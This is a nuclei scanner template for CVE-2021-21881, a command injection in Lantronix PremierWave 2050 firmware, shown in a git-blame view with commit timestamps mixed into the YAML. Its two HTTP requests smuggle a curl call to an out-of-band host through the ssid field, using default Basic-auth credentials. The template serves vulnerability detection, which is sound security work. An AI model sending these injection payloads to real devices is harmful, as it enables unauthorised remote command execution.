nuclei-templates/http/cves/2021/CVE-2021-21881.yaml

56 lines
1.9 KiB
YAML
Raw Normal View History

id: CVE-2021-21881
info:
name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection
author: gy741
severity: critical
description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
2022-01-05 07:29:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21881
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2021-21881
cwe-id: CWE-78
2023-07-15 16:29:17 +00:00
epss-score: 0.97108
2023-07-11 19:49:27 +00:00
cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: lantronix
product: premierwave_2050_firmware
tags: cve,cve2021,lantronix,rce,oast,cisco
2023-03-29 11:07:38 +00:00
variables:
2023-03-29 14:11:27 +00:00
useragent: '{{rand_base(6)}}'
2023-03-29 11:07:38 +00:00
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Authorization: Basic dXNlcjp1c2Vy
Content-Type: application/x-www-form-urlencoded
2023-03-29 13:54:19 +00:00
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
2022-01-05 07:29:27 +00:00
- |
POST / HTTP/1.1
Host: {{Hostname}}
2022-01-05 07:29:27 +00:00
Authorization: Basic YWRtaW46UEFTUw==
2022-01-05 07:30:40 +00:00
Content-Type: application/x-www-form-urlencoded
2023-07-15 16:29:17 +00:00
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
2023-03-29 10:22:44 +00:00
stop-at-first-match: true
2023-07-11 19:49:27 +00:00
2023-03-29 10:22:44 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
2023-03-29 10:22:44 +00:00
- type: word
part: interactsh_request
words:
2023-03-29 13:54:19 +00:00
- "User-Agent: {{useragent}}"